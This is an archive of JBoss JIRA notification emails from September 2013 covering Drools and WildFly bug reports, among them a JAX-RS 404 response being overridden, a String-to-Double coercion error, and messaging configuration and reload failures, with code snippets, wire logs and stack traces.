Message-ID: <JIRA.12497703.1375285149000.3755.1378110664301@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-208?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800833#comment-12800833 ] 

Michael Biarnes Kiefer commented on DROOLS-208:
-----------------------------------------------

Jenkins View Drools 5.6.x, jBPM 5.5.x created.
                
> Build 5.6.0-SNAPSHOT on jenkins and prepare for 5.6.0.Final release
> -------------------------------------------------------------------
>
>                 Key: DROOLS-208
>                 URL: https://issues.jboss.org/browse/DROOLS-208
>             Project: Drools
>          Issue Type: Feature Request
>      Security Level: Public(Everyone can see) 
>            Reporter: Davide Sottara
>            Assignee: Michael Biarnes Kiefer
>
> Requirements:
> 1) All repositories in the 5.6.x repository-list need to be branched from 5.5.x.
> https://github.com/droolsjbpm/droolsjbpm-build-bootstrap/blob/5.6.x/script/repository-list.txt
> Note: the repository list is far less than master (so you can safely ignore uberfire etc).
> Warning 1: some repo's are already branched! Do not rebranch these: droolsjbpm-build-bootstrap, droolsjbpm-knowledge, drools
> Warning 2: You need to branch from 5.5.x (NOT master!) to this new branch 5.6.x
> Warning 3: jbpm uses different version numbering. You need to branch from jbpm 5.4.x to 5.5.x (NOT 5.6.x). All other repo's use the normal version.
> 2) All the 5.6.x branches (and 5.5.x for jbpm)'s versions need to change from 5.5.1-SNAPSHOT to 5.6.0-SNAPSHOT (and from 5.4.0-SNAPSHOT to 5.5.0-SNAPSHOT for jbpm).
> Note: droolsjbpm-tools's will need changes from 5.5.1.qualifier to 5.6.0.qualifier
> 3) Create a new jenkins view for "drools 5.6.x and jbpm 5.5.x"
> 4) Clone the 5.5.x jobs for all these repo's as 5.6.x jobs.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 04:57:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 2 Sep 2013 04:57:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1419) Overrides REST Response
 Object on Status 404
In-Reply-To: <JIRA.12493155.1369860138000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493155.1369860138000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493155.1369860138000.3851.1378112223609@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1419?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800838#comment-12800838 ] 

RH Bugzilla Integration commented on WFLY-1419:
-----------------------------------------------

Weinan Li <weli at redhat.com> made a comment on [bug 968572|https://bugzilla.redhat.com/show_bug.cgi?id=968572]

Verified that this bug is not fixed in jboss-as-7.3.0-internal-SNAPSHOT (EAP 6.2.0)

Verified that this bug is fixed in wildfly-8.0.0.Beta1-SNAPSHOT
                
> Overrides REST Response Object on Status 404
> --------------------------------------------
>
>                 Key: WFLY-1419
>                 URL: https://issues.jboss.org/browse/WFLY-1419
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web (Undertow)
>    Affects Versions: 8.0.0.Alpha1
>         Environment: JBoss AS 7.1.1, JBoss EAP 6.1.0, WildFly 8.0.0.Alpha1
> Linux, Java 1.7
>            Reporter: Aslak Knutsen
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Alpha2
>
>
> *Given*:
> {code:title=JAX-RS Resource Code}
> @Path("/conference")
> public class ConferenceResource implements Resource {
>     private static final String BASE_MEDIA_TYPE = "application/vnd.ced+xml";
>     private static final String CONFERENCE_MEDIA_TYPE = BASE_MEDIA_TYPE + ";type=conference";
>     private static final String SESSION_MEDIA_TYPE = BASE_MEDIA_TYPE + ";type=session";
> ...
>     @GET
>     @Path("/{id}")
>     @Produces("application/vnd.ced+xml")
>     public Response get(@PathParam("id") String id) {
>         Conference conference = repository.get(id);
>         if(conference == null) {
>             return Response.status(Status.NOT_FOUND).type(CONFERENCE_MEDIA_TYPE).build();
>         }
>         return Response.ok(
>                 new ConferenceRepresentation(conference, uriInfo.getAbsolutePathBuilder()))
>                 .type(CONFERENCE_MEDIA_TYPE).build();
>     }
> ...
> }
> {code}
> *Then*:
> The Body and MediaType is overwritten by the WebContainer and standard text/html Error Page is returned. 
> {code:title=Wire Log}
> DEBUG [org.apache.http.wire] >> "GET /c5b53d1f-e6fd-40a2-8656-2e36e7e92997/api/conference/d4c6bdb2-51a0-44f8-99bc-75a18ee76228 HTTP/1.1[\r][\n]"
> DEBUG [org.apache.http.wire] >> "Accept: application/vnd.ced+xml;type=conference[\r][\n]"
> DEBUG [org.apache.http.wire] >> "Host: 127.0.0.1:8080[\r][\n]"
> DEBUG [org.apache.http.wire] >> "Connection: Keep-Alive[\r][\n]"
> DEBUG [org.apache.http.wire] >> "Accept-Encoding: gzip,deflate[\r][\n]"
> DEBUG [org.apache.http.wire] >> "[\r][\n]"
> DEBUG [org.apache.http.wire] << "HTTP/1.1 200 OK[\r][\n]"
> DEBUG [org.apache.http.wire] << "Server: Apache-Coyote/1.1[\r][\n]"
> DEBUG [org.apache.http.wire] << "Content-Type: application/vnd.ced+xml;type=conference[\r][\n]"
> DEBUG [org.apache.http.wire] << "Content-Length: 422[\r][\n]"
> DEBUG [org.apache.http.wire] << "Date: Wed, 29 May 2013 02:54:22 GMT[\r][\n]"
> DEBUG [org.apache.http.wire] << "[\r][\n]"
> DEBUG [org.apache.http.wire] << "<?xml version="1.0" encoding="UTF-8" standalone="yes"?><ns3:conference xmlns:ns2="urn:ced:link" xmlns:ns3="urn:ced:conference"><ns2:link href="http://127.0.0.1:8080/c5b53d1f-e6fd-40a2-8656-2e36e7e92997/api/conference/d4c6bdb2-51a0-44f8-99bc-75a18ee76228/session" rel="session"/><end>2013-05-29T04:54:22.213+02:00</end><name>Test</name><start>2013-05-29T04:54:22.213+02:00</start><tagLine>Tagline</tagLine></ns3:conference>"
> DEBUG [org.apache.http.wire] >> "DELETE /c5b53d1f-e6fd-40a2-8656-2e36e7e92997/api/conference/d4c6bdb2-51a0-44f8-99bc-75a18ee76228 HTTP/1.1[\r][\n]"
> DEBUG [org.apache.http.wire] >> "Accept: */*[\r][\n]"
> DEBUG [org.apache.http.wire] >> "Content-Length: 0[\r][\n]"
> DEBUG [org.apache.http.wire] >> "Host: 127.0.0.1:8080[\r][\n]"
> DEBUG [org.apache.http.wire] >> "Connection: Keep-Alive[\r][\n]"
> DEBUG [org.apache.http.wire] >> "Accept-Encoding: gzip,deflate[\r][\n]"
> DEBUG [org.apache.http.wire] >> "[\r][\n]"
> DEBUG [org.apache.http.wire] << "HTTP/1.1 204 No Content[\r][\n]"
> DEBUG [org.apache.http.wire] << "Server: Apache-Coyote/1.1[\r][\n]"
> DEBUG [org.apache.http.wire] << "Date: Wed, 29 May 2013 02:55:44 GMT[\r][\n]"
> DEBUG [org.apache.http.wire] << "[\r][\n]"
> DEBUG [org.apache.http.wire] >> "GET /c5b53d1f-e6fd-40a2-8656-2e36e7e92997/api/conference/d4c6bdb2-51a0-44f8-99bc-75a18ee76228 HTTP/1.1[\r][\n]"
> DEBUG [org.apache.http.wire] >> "Accept: application/vnd.ced+xml;type=conference[\r][\n]"
> DEBUG [org.apache.http.wire] >> "Host: 127.0.0.1:8080[\r][\n]"
> DEBUG [org.apache.http.wire] >> "Connection: Keep-Alive[\r][\n]"
> DEBUG [org.apache.http.wire] >> "Accept-Encoding: gzip,deflate[\r][\n]"
> DEBUG [org.apache.http.wire] >> "[\r][\n]"
> DEBUG [org.apache.http.wire] << "HTTP/1.1 404 Not Found[\r][\n]"
> DEBUG [org.apache.http.wire] << "Server: Apache-Coyote/1.1[\r][\n]"
> DEBUG [org.apache.http.wire] << "Content-Type: text/html;charset=utf-8[\r][\n]"
> DEBUG [org.apache.http.wire] << "Content-Length: 956[\r][\n]"
> DEBUG [org.apache.http.wire] << "Date: Wed, 29 May 2013 02:55:45 GMT[\r][\n]"
> DEBUG [org.apache.http.wire] << "[\r][\n]"
> DEBUG [org.apache.http.wire] << "<html><head><title>JBoss Web/7.0.13.Final - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 404 - </h1><HR size="1" noshade="noshade"><p><b>type</b> Status report</p><p><b>message</b> <u></u></p><p><b>description</b> <u>The requested resource () is not available.</u></p><HR size="1" noshade="noshade"><h3>JBoss Web/7.0.13.Final</h3></body></htm!
 l>"
> HTTP/1.1 404 Not Found
> Server=Apache-Coyote/1.1
> Content-Type=text/html;charset=utf-8
> Content-Length=956
> Date=Wed, 29 May 2013 02:55:45 GMT
> <html xmlns="http://www.w3.org/1999/xhtml">
>   <head>
>     <title>
>       JBoss Web/7.0.13.Final - Error report
>     </title>
>     <style>
>       &lt;!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--&gt;
>     </style>
>   </head>
>   <body>
>     <h1>
>       HTTP Status 404 -
>     </h1>
>     <hr noshade="noshade" size="1"/>
>     <p>
>       <b>
>         type
>       </b>
>       Status report
>     </p>
>     <p>
>       <b>
>         message
>       </b>
>       <u/>
>     </p>
>     <p>
>       <b>
>         description
>       </b>
>       <u>
>         The requested resource () is not available.
>       </u>
>     </p>
>     <hr noshade="noshade" size="1"/>
>     <h3>
>       JBoss Web/7.0.13.Final
>     </h3>
>   </body>
> </html>
> {code}
> *Expected*: Return the JAX-RS Response Object as defined by the JAX-RS Service.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 05:15:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 2 Sep 2013 05:15:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-167) Inaccurate comparison
 because of String to Double coercion
In-Reply-To: <JIRA.12494258.1371187515000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494258.1371187515000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494258.1371187515000.3876.1378113305016@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-167?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800845#comment-12800845 ] 

RH Bugzilla Integration commented on DROOLS-167:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> changed the Status of [bug 974364|https://bugzilla.redhat.com/show_bug.cgi?id=974364] from ON_QA to VERIFIED
                
> Inaccurate comparison because of String to Double coercion
> ----------------------------------------------------------
>
>                 Key: DROOLS-167
>                 URL: https://issues.jboss.org/browse/DROOLS-167
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 6.0.0.Beta3
>            Reporter: Toshiya Kobayashi
>            Assignee: Mario Fusco
>             Fix For: 5.5.1.Final, 6.0.0.Beta4
>
>
> If you compare String fields which consist of many digits, it may be wrongly evaluated due to String to Double coercion and Double's inaccuracy.
> The following test doesn't fire the rule.
> {code:java}
> import org.drools.compiler.Person;
> rule R1
>   when
>     $p : Person( name < "90201304122000000000000017" )
>   then
> end
> {code}
> {code:java}
> ksession.insert( new Person( "90201304122000000000000015", 38 ) );
> {code}
> In Drools 6.0.0.beta3, the coercion is done by org.mvel2.math.MathProcessor
> {code:java}
> public strictfp class MathProcessor {
> ...
>   private static Object _doOperations(int type1, Object val1, int operation, int type2, Object val2) {
>     if (operation < 20) {
>       if (((type1 > 49 || operation == EQUAL || operation == NEQUAL) && type1 == type2) ||
>               (isIntegerType(type1) && isIntegerType(type2) && operation >= BW_AND && operation <= BW_NOT)) {
>         return doOperationsSameType(type1, val1, operation, val2);
>       }
>       else if ((type1 > 99 && (type2 > 99))
>           || (operation != 0 && isNumber(val1) && isNumber(val2))) {
>         return doPrimWrapperArithmetic(getNumber(val1, type1),
>             operation,
>             getNumber(val2, type2), true, box(type2) > box(type1) ? box(type2) : box(type1));
>       }
> ...
>   private static Double getNumber(Object in, int type) {
>     if (in == null)
>       return 0d;
>     switch (type) {
> ...
>       case DataTypes.STRING:
>         return Double.parseDouble((String) in);
> ...
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 05:15:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 2 Sep 2013 05:15:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-167) Inaccurate comparison
 because of String to Double coercion
In-Reply-To: <JIRA.12494258.1371187515000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494258.1371187515000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494258.1371187515000.3881.1378113305780@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-167?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800846#comment-12800846 ] 

RH Bugzilla Integration commented on DROOLS-167:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> made a comment on [bug 974364|https://bugzilla.redhat.com/show_bug.cgi?id=974364]

Verified on BRMS 6.0.0-ER2.
                
> Inaccurate comparison because of String to Double coercion
> ----------------------------------------------------------
>
>                 Key: DROOLS-167
>                 URL: https://issues.jboss.org/browse/DROOLS-167
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 6.0.0.Beta3
>            Reporter: Toshiya Kobayashi
>            Assignee: Mario Fusco
>             Fix For: 5.5.1.Final, 6.0.0.Beta4
>
>
> If you compare String fields which consist of many digits, it may be wrongly evaluated due to String to Double coercion and Double's inaccuracy.
> The following test doesn't fire the rule.
> {code:java}
> import org.drools.compiler.Person;
> rule R1
>   when
>     $p : Person( name < "90201304122000000000000017" )
>   then
> end
> {code}
> {code:java}
> ksession.insert( new Person( "90201304122000000000000015", 38 ) );
> {code}
> In Drools 6.0.0.beta3, the coercion is done by org.mvel2.math.MathProcessor
> {code:java}
> public strictfp class MathProcessor {
> ...
>   private static Object _doOperations(int type1, Object val1, int operation, int type2, Object val2) {
>     if (operation < 20) {
>       if (((type1 > 49 || operation == EQUAL || operation == NEQUAL) && type1 == type2) ||
>               (isIntegerType(type1) && isIntegerType(type2) && operation >= BW_AND && operation <= BW_NOT)) {
>         return doOperationsSameType(type1, val1, operation, val2);
>       }
>       else if ((type1 > 99 && (type2 > 99))
>           || (operation != 0 && isNumber(val1) && isNumber(val2))) {
>         return doPrimWrapperArithmetic(getNumber(val1, type1),
>             operation,
>             getNumber(val2, type2), true, box(type2) > box(type1) ? box(type2) : box(type1));
>       }
> ...
>   private static Double getNumber(Object in, int type) {
>     if (in == null)
>       return 0d;
>     switch (type) {
> ...
>       case DataTypes.STRING:
>         return Double.parseDouble((String) in);
> ...
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 05:31:03 2013
From: jira-events at lists.jboss.org (jaikiran pai (JIRA))
Date: Mon, 2 Sep 2013 05:31:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1974) @Resource
 ManagedExecutorService produces a null field
In-Reply-To: <JIRA.12499697.1377875472000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499697.1377875472000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499697.1377875472000.3903.1378114263995@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1974?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800849#comment-12800849 ] 

jaikiran pai commented on WFLY-1974:
------------------------------------

Eduardo, just a FYI - take a look at WeldResourceInjectionServices which is where the @Resource injection in CDI beans is done.

                
> @Resource ManagedExecutorService produces a null field
> ------------------------------------------------------
>
>                 Key: WFLY-1974
>                 URL: https://issues.jboss.org/browse/WFLY-1974
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Juergen Zimmermann
>            Assignee: Eduardo Martins
>
> I compiled the latest WildFly master and tried:
> {code}
> @Resource
> private ManagedExecutorService managedExecutorService
> {code}
> However, the injected field managedExecutorService is null. This issue is gone when I use:
> {code}
> @Resource(mappedName = "java:comp/DefaultManagedExecutorService")
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 05:37:04 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Mon, 2 Sep 2013 05:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBVFS-185) Switch to 'mkdirs'
In-Reply-To: <JIRA.12485268.1361369653000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485268.1361369653000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485268.1361369653000.3923.1378114624405@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBVFS-185?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar resolved JBVFS-185.
-------------------------------

    Fix Version/s: 3.2.0.Beta2
       Resolution: Done

    
> Switch to 'mkdirs' 
> -------------------
>
>                 Key: JBVFS-185
>                 URL: https://issues.jboss.org/browse/JBVFS-185
>             Project: JBoss VFS
>          Issue Type: Feature Request
>      Security Level: Public(Everyone can see) 
>            Reporter: Bartosz Baranowski
>            Assignee: Bartosz Baranowski
>             Fix For: 3.2.0.Beta2
>
>
> TempFileProvider has:
> {code}
>     static {
>         String configTmpDir = System.getProperty(JBOSS_TMP_DIR_PROPERTY);
>         if (configTmpDir == null)
>             configTmpDir = System.getProperty(JVM_TMP_DIR_PROPERTY);
>         try {
>             TMP_ROOT = new File(configTmpDir, "vfs");
>             TMP_ROOT.mkdirs();
>         }
>         catch (Exception e) {
>             throw new RuntimeException("Can't set up temp file provider", e);
>         }
>     }
> {code}
> This does its job fine when VM starts, but if something removes the directory, ie. as part of cleanup, provider stops, since createTempDir:
> {code}
>     private static File createTempDir(String prefix, String suffix, File root) throws IOException {
>         for (int i = 0; i < RETRIES; i++) {
>             final File f = new File(root, createTempName(prefix, suffix));
>             if (f.mkdir())
>                 return f;
>         }
>         throw new IOException(
>                 String.format("Could not create directory for root '%s' (prefix '%s', suffix '%s') after %d attempts",
>                         root,
>                         prefix,
>                         suffix,
>                         RETRIES));
>     }
> {code}
> So either the static init is removed and performed for each provider( in constructor or better, in some kind of init() meethod ) or createTempDir calls File.mkdirs()

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 05:45:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 2 Sep 2013 05:45:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1385) Override default
 page-size-bytes in messaging subsystem configuration
In-Reply-To: <JIRA.12492539.1369299013000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492539.1369299013000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492539.1369299013000.3935.1378115103654@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1385?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800850#comment-12800850 ] 

RH Bugzilla Integration commented on WFLY-1385:
-----------------------------------------------

Miroslav Novak <mnovak at redhat.com> changed the Status of [bug 920980|https://bugzilla.redhat.com/show_bug.cgi?id=920980] from NEW to MODIFIED
                
> Override default page-size-bytes in messaging subsystem configuration
> ---------------------------------------------------------------------
>
>                 Key: WFLY-1385
>                 URL: https://issues.jboss.org/browse/WFLY-1385
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: JMS
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>            Priority: Minor
>             Fix For: 8.0.0.Alpha2
>
>
> When HornetQ address-full-policy is switched from BLOCK to PAGE, the following exception is thrown during shutdown.
> {noformat}
> Exception:
> 09:48:05,247 WARN  [org.hornetq.core.server] (MSC service thread 1-3) HQ222160: unable to send notification when broadcast group is stopped: java.lang.IllegalStateException: pageSize for address hornetq.notifications >= maxSize. Normally pageSize should be significantly smaller than maxSize, ms: 10485760 ps 10485760
>         at org.hornetq.core.paging.impl.PagingStoreImpl.<init>(PagingStoreImpl.java:147) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
>         at org.hornetq.core.paging.impl.PagingStoreFactoryNIO.newStore(PagingStoreFactoryNIO.java:98) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
>         at org.hornetq.core.paging.impl.PagingManagerImpl.newStore(PagingManagerImpl.java:250) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
> {noformat}
> The standalone-full.xml configuration overrides the default address-setting's max-size-bytes (defaults to -1) to set it at 10 MiB.
> However, if the admin changes the address-full-policy from BLOCK to PAGE, it will conflict with the default value for page-size-bytes which is also 10MiB.
> To make the overridden standalone-full.xml more consistent, we can override page-size-bytes and set it to 2MiB (2097152 bytes). This change has no effect when the address-full-policy remains at BLOCK. When it is changed to PAGE, the resulting configuration will be coherent and there will be no exception thrown

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 05:47:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 2 Sep 2013 05:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1385) Override default
 page-size-bytes in messaging subsystem configuration
In-Reply-To: <JIRA.12492539.1369299013000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492539.1369299013000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492539.1369299013000.3938.1378115223660@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1385?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800851#comment-12800851 ] 

RH Bugzilla Integration commented on WFLY-1385:
-----------------------------------------------

Miroslav Novak <mnovak at redhat.com> made a comment on [bug 920980|https://bugzilla.redhat.com/show_bug.cgi?id=920980]

I've set the correct status per doc: https://docspace.corp.redhat.com/docs/DOC-154066

It's good to check to it.
                
> Override default page-size-bytes in messaging subsystem configuration
> ---------------------------------------------------------------------
>
>                 Key: WFLY-1385
>                 URL: https://issues.jboss.org/browse/WFLY-1385
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: JMS
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>            Priority: Minor
>             Fix For: 8.0.0.Alpha2
>
>
> When HornetQ address-full-policy is switched from BLOCK to PAGE, the following exception is thrown during shutdown.
> {noformat}
> Exception:
> 09:48:05,247 WARN  [org.hornetq.core.server] (MSC service thread 1-3) HQ222160: unable to send notification when broadcast group is stopped: java.lang.IllegalStateException: pageSize for address hornetq.notifications >= maxSize. Normally pageSize should be significantly smaller than maxSize, ms: 10485760 ps 10485760
>         at org.hornetq.core.paging.impl.PagingStoreImpl.<init>(PagingStoreImpl.java:147) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
>         at org.hornetq.core.paging.impl.PagingStoreFactoryNIO.newStore(PagingStoreFactoryNIO.java:98) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
>         at org.hornetq.core.paging.impl.PagingManagerImpl.newStore(PagingManagerImpl.java:250) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
> {noformat}
> The standalone-full.xml configuration overrides the default address-setting's max-size-bytes (defaults to -1) to set it at 10 MiB.
> However, if the admin changes the address-full-policy from BLOCK to PAGE, it will conflict with the default value for page-size-bytes which is also 10MiB.
> To make the overridden standalone-full.xml more consistent, we can override page-size-bytes and set it to 2MiB (2097152 bytes). This change has no effect when the address-full-policy remains at BLOCK. When it is changed to PAGE, the resulting configuration will be coherent and there will be no exception thrown

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 05:49:03 2013
From: jira-events at lists.jboss.org (Jeff Mesnil (JIRA))
Date: Mon, 2 Sep 2013 05:49:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1973) Pooled Connection Factory
 error on server :reload
In-Reply-To: <JIRA.12499659.1377808478000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499659.1377808478000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499659.1377808478000.3946.1378115343998@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1973?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jeff Mesnil updated WFLY-1973:
------------------------------

    Summary: Pooled Connection Factory error on server :reload  (was: Errors on server :reload)

    
> Pooled Connection Factory error on server :reload
> -------------------------------------------------
>
>                 Key: WFLY-1973
>                 URL: https://issues.jboss.org/browse/WFLY-1973
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMS
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Jeff Mesnil
>         Attachments: server.log
>
>
> Having WildFly 8.0.0.Beta1 build from current sources.
> After server is online without deployments I executed
> $JBOSS_HOME/bin/jboss-cli.sh --connect --command=":reload"
> This shows
> 22:27:45,605 ERROR [org.jboss.msc.service.fail#startFailed] MSC000001: Failed to start service jboss.messaging.default.jms.pooled-connection-factory.hornetq-ra: org.jboss.msc.service.StartException in service jboss.messaging.default.jms.pooled-connection-factory.hornetq-ra: JBAS011639: Failed to create resource adapter        at org.jboss.as.messaging.jms.PooledConnectionFactoryService.start(PooledConnectionFactoryService.java:309)
>         at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>         at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
>         at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: org.jboss.msc.service.DuplicateServiceException: Service jboss.naming.context.java.jboss.DefaultJMSConnectionFactory is already registered
>         at org.jboss.msc.service.ServiceRegistrationImpl.setInstance(ServiceRegistrationImpl.java:158) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>         at org.jboss.msc.service.ServiceControllerImpl.startInstallation(ServiceControllerImpl.java:235) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>         at org.jboss.msc.service.ServiceContainerImpl.install(ServiceContainerImpl.java:767) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>         at org.jboss.msc.service.ServiceBuilderImpl.install(ServiceBuilderImpl.java:317) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>         at org.jboss.as.messaging.BinderServiceUtil.installAliasBinderService(BinderServiceUtil.java:72)
>         at org.jboss.as.messaging.jms.PooledConnectionFactoryService.createJNDIAliases(PooledConnectionFactoryService.java:437)
>         at org.jboss.as.messaging.jms.PooledConnectionFactoryService.createService(PooledConnectionFactoryService.java:423)
>         at org.jboss.as.messaging.jms.PooledConnectionFactoryService.start(PooledConnectionFactoryService.java:306)
>         ... 5 more
> See attached server.log.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 05:56:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
